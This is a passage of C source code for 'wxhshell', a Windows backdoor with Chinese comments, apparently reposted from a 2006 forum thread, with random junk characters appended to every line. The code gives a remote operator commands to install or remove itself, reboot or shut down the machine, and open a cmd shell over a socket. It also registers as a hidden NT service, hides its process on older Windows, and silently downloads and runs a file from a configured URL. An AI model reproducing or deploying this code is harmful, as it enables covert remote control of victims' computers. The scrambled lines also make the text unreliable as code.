  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PtVo7zO ye  
  } f nLR  
  else { l?[{?Luq  
f p v= P  
    switch(cmd[0]) { JYZ2k=zh  
  7>nhIp))  
  // 帮助 +8LM~voB  
  case '?': { cPA~eZbX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7.wR"1p#  
    break; wFK:Dp_^  
  } Ez06:]Jd  
  // 安装 c[(yU#@  
  case 'i': { /#-,R,Q  
    if(Install()) A5CdLwk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i&A{L}eCr:  
    else .+{nA}Bc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EpRXjz  
    break; qiG]nCq  
    } fkdf~Vb  
  // 卸载 33=Mm/<m$P  
  case 'r': { -vyIOH,  
    if(Uninstall()) #5'c\\?Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jo 7Hyw!g  
    else 3c01uObTL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "-G&=(  
    break; Xtuhcdzu[  
    } Hnfvo*6d.e  
  // 显示 wxhshell 所在路径 T6sr/<#<(  
  case 'p': { kVV\*"9y  
    char svExeFile[MAX_PATH]; fC=fJZU7$  
    strcpy(svExeFile,"\n\r"); <T(s\N5B=  
      strcat(svExeFile,ExeFile); kmZ.U>#  
        send(wsh,svExeFile,strlen(svExeFile),0); 3x04JE3!  
    break; [:AB$l*  
    } 5Z* b(R  
  // 重启 T&o,I  
  case 'b': { m(2G*}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \w{@u)h  
    if(Boot(REBOOT)) xL9:4'I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,]0S4h67  
    else { 17e=GL  
    closesocket(wsh); Na\3.:]z  
    ExitThread(0); Oamv9RyDvC  
    } 4 hL`=[AB  
    break; oHxGbvQc  
    } C}n'>],p  
  // 关机 *,E;  
  case 'd': { kxwNbxC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "nVK< Vd  
    if(Boot(SHUTDOWN)) K5P Gi#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p@#]mVJ>9  
    else { * eA{[  
    closesocket(wsh); " <<A  
    ExitThread(0); ^Ku\l #B  
    } EYA/CI   
    break; q!ee g  
    } U'rr?,RML  
  // 获取shell A|2 <A !  
  case 's': { Q}WL/X5  
    CmdShell(wsh); V]r hr  
    closesocket(wsh); 9 TqoLX  
    ExitThread(0); +#0~:&!9  
    break; 2K3MAd{  
  } Xwn3+tSIa  
  // 退出 7 rH'1U  
  case 'x': { [:Be[pLC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IbF 4k .J  
    CloseIt(wsh); 1#/6r :  
    break; g+e:@@ug  
    } +H41]W6  
  // 离开  ,Qat  
  case 'q': { DNmb[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $"/UK3|d  
    closesocket(wsh); #]@9qPyn  
    WSACleanup(); cZ^wQ5=  
    exit(1); 5(423"(y  
    break; Ud$Q0m&  
        } Tj Mb>w9  
  } DG3[^B  
  } D`en%Lf!m  
_8al  
  // 提示信息 +-U@0&Y3M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pQqbZ3]  
} xtOx|FkYcl  
  } I=U+GY:  
l(gJLjTH%  
  return; 3QIdN  
} l`DtiJ?$$0  
Y=9qJ`q  
// shell模块句柄 ]Qd{ '}+  
int CmdShell(SOCKET sock) dl:-k  r8  
{ it~Z|$  
STARTUPINFO si; ~ W@X-  
ZeroMemory(&si,sizeof(si)); :]yg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `Uv)Sf{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DTPay1]6  
PROCESS_INFORMATION ProcessInfo; 8}bZ [  
char cmdline[]="cmd"; Hc M~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J6DnPaw-G  
  return 0; X R4)z  
} [$^A@bqk  
Np$z%ewK.  
// 自身启动模式 ^,+nef?=  
int StartFromService(void) 6nc0=~='$  
{ ^/k ,  
typedef struct z9 O~W5-U  
{  O)OUy  
  DWORD ExitStatus; }~rcrm.   
  DWORD PebBaseAddress; /oFc 03d  
  DWORD AffinityMask; vmvFBzLR  
  DWORD BasePriority; ZBF1rx?  
  ULONG UniqueProcessId; $Y6 3!*  
  ULONG InheritedFromUniqueProcessId; V`by*s  
}   PROCESS_BASIC_INFORMATION; #XcU{5Qm5  
-/zp&*0gcx  
PROCNTQSIP NtQueryInformationProcess; <>]1Y$^Y  
pL! a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O"\nR:\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cw%BZ  
RE 9nU%!  
  HANDLE             hProcess; %Z7%jma  
  PROCESS_BASIC_INFORMATION pbi; fSjs?zd`  
l~rb]6E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oKRFd_r+  
  if(NULL == hInst ) return 0; Rnr#$C%  
+ZclGchw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "?P[9x}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L@nebT;\'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {M [~E|@D  
zFywC-my@  
  if (!NtQueryInformationProcess) return 0; , |l@j%  
wYjQ V?,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #sZIDn J#  
  if(!hProcess) return 0; 1+a@k  
&Xv1[nByU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7-X/>v  
{\EOo-&A  
  CloseHandle(hProcess); J,(7.+`~#  
0aogBg_@K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3"Yif  
if(hProcess==NULL) return 0; BRa{\R^I  
N 'i,>  
HMODULE hMod; ei|cD[ NY  
char procName[255]; mB`D}g$  
unsigned long cbNeeded; MxTmWsaW  
]-:1se  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 781]THY=  
vOe0}cR  
  CloseHandle(hProcess); 1Cv#nhmp  
84^[/d;!  
if(strstr(procName,"services")) return 1; // 以服务启动 E M Q4yK  
ZE rdt:w  
  return 0; // 注册表启动 CU$)QH{  
} e #M iaX  
+I@cO&CY|  
// 主模块 {p]=++  
int StartWxhshell(LPSTR lpCmdLine) Gm A!Mo  
{ U-g9C.  
  SOCKET wsl; yUe+":7k.  
BOOL val=TRUE; =Dk7RKoHF  
  int port=0; t8/%D gu  
  struct sockaddr_in door; yj zK.dM  
~RInN+N#  
  if(wscfg.ws_autoins) Install(); @VK6JjIq  
ZdH1nX(Yh3  
port=atoi(lpCmdLine); /c#l9&,  
! Mo`^ t  
if(port<=0) port=wscfg.ws_port; . :a<2sp6  
TBnvV 5_  
  WSADATA data; ;& |qSa'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DW|vMpU]u  
kiX%3(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gu<V (M\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \[ M_\&GC  
  door.sin_family = AF_INET; $;`I,k$0>~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [;^,CD|P  
  door.sin_port = htons(port); =|,A%ZGF$  
=cn~BnowY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?Ht=[l=  
closesocket(wsl); 0x~`5h  
return 1; e:E# b~{  
} ah+j!e  
PsbG|~  
  if(listen(wsl,2) == INVALID_SOCKET) { 6 D/tK|  
closesocket(wsl); x8\<qh*:  
return 1; h e&V# #  
} 8+&JQ"UaB  
  Wxhshell(wsl); mU@xc N  
  WSACleanup(); >DP:GcTG  
R ]P;sk5  
return 0; >1ZJ{se  
6P*O&1hv  
} [s}/nu~U  
8r^ ~0nm  
// 以NT服务方式启动 WYszk ,E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q7GY3X*kA  
{ %4,?kh``D  
DWORD   status = 0; m|F:b}0Hb  
  DWORD   specificError = 0xfffffff; Js{= i>D  
HnU Et/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,@.EpbB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VLdB_r3lQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K9|7dvzC:  
  serviceStatus.dwWin32ExitCode     = 0; af'@h:  
  serviceStatus.dwServiceSpecificExitCode = 0; *aRX \ TnN  
  serviceStatus.dwCheckPoint       = 0; <n^3uXzD  
  serviceStatus.dwWaitHint       = 0; .~mCXz<x  
*7RvHHf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CT*,<l-D  
  if (hServiceStatusHandle==0) return; 3ZojE ux`  
<kbyZXV@K  
status = GetLastError(); KOSQQf o  
  if (status!=NO_ERROR) ;`UecLb#  
{ ~pz FZ7n4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tsv$r$Se  
    serviceStatus.dwCheckPoint       = 0; u|fXP)>.  
    serviceStatus.dwWaitHint       = 0; wC` R>)  
    serviceStatus.dwWin32ExitCode     = status; .:9s}%Z r  
    serviceStatus.dwServiceSpecificExitCode = specificError; o~1 Kp!U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f*fE};  
    return; &HDP!SLS  
  } [BDGR B7d"  
M_|> kp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !w2gGy:I>  
  serviceStatus.dwCheckPoint       = 0; f/y`  
  serviceStatus.dwWaitHint       = 0; DWm SC}{.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n:4uA`Vg  
} Z cpmquf8L  
/3B6 Mtb  
// 处理NT服务事件,比如:启动、停止 1%`7.;!i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BX< dSK  
{ ( u`W!{1\  
switch(fdwControl) GEe`ZhG,  
{ >NM\TLET~  
case SERVICE_CONTROL_STOP: s9j7Psd  
  serviceStatus.dwWin32ExitCode = 0; PDP[5q r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "A[ b rG  
  serviceStatus.dwCheckPoint   = 0; |d}MxS`^  
  serviceStatus.dwWaitHint     = 0; 2UadV_s+s  
  { `78V%\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .C bGDZ  
  } 1-VT}J(  
  return; fly,-$K>LO  
case SERVICE_CONTROL_PAUSE: 2R.2D'4)`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vrp[r *V@E  
  break; 'C>U=cE7  
case SERVICE_CONTROL_CONTINUE: ^p=L\SJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KQ`=t   
  break; W?XizTW  
case SERVICE_CONTROL_INTERROGATE: 1*Ar{:+ua  
  break; `G$1n#&  
}; BfmsMW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ig_2={Q@  
} :i*JnlvZ  
)=^w3y  
// 标准应用程序主函数 ry0%a[[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9uYyfb: ,z  
{ HeA{3s  
OB^Tq~i  
// 获取操作系统版本 ;*cLG#&'M  
OsIsNt=GetOsVer(); {9 PR()_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !; v~^#M]~  
)^O-X.1  
  // 从命令行安装 u8vuwbra!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8 0B>L  
r\M9_s8  
  // 下载执行文件 {`"#yl6"  
if(wscfg.ws_downexe) { Lm%GR[tyQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w4:\N U  
  WinExec(wscfg.ws_filenam,SW_HIDE); =f7r69I"  
} - u3e5gW  
}!d;(/)rb  
if(!OsIsNt) { *}! MOqP  
// 如果时win9x,隐藏进程并且设置为注册表启动 '0t-]NAc  
HideProc(); %[QV,fD'E  
StartWxhshell(lpCmdLine); }e]f  
} 39TT{>?`w  
else O'DW5hBL0  
  if(StartFromService()) lU2c_4  
  // 以服务方式启动 rrBAQY|.  
  StartServiceCtrlDispatcher(DispatchTable); KMK`F{  
else 7^:4A'  
  // 普通方式启动 E]} n(  
  StartWxhshell(lpCmdLine); .dmi#%W  
l!~ mxUb  
return 0; BavO\{J#|0  
}
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只看该作者 1 发表于: 2006-10-10
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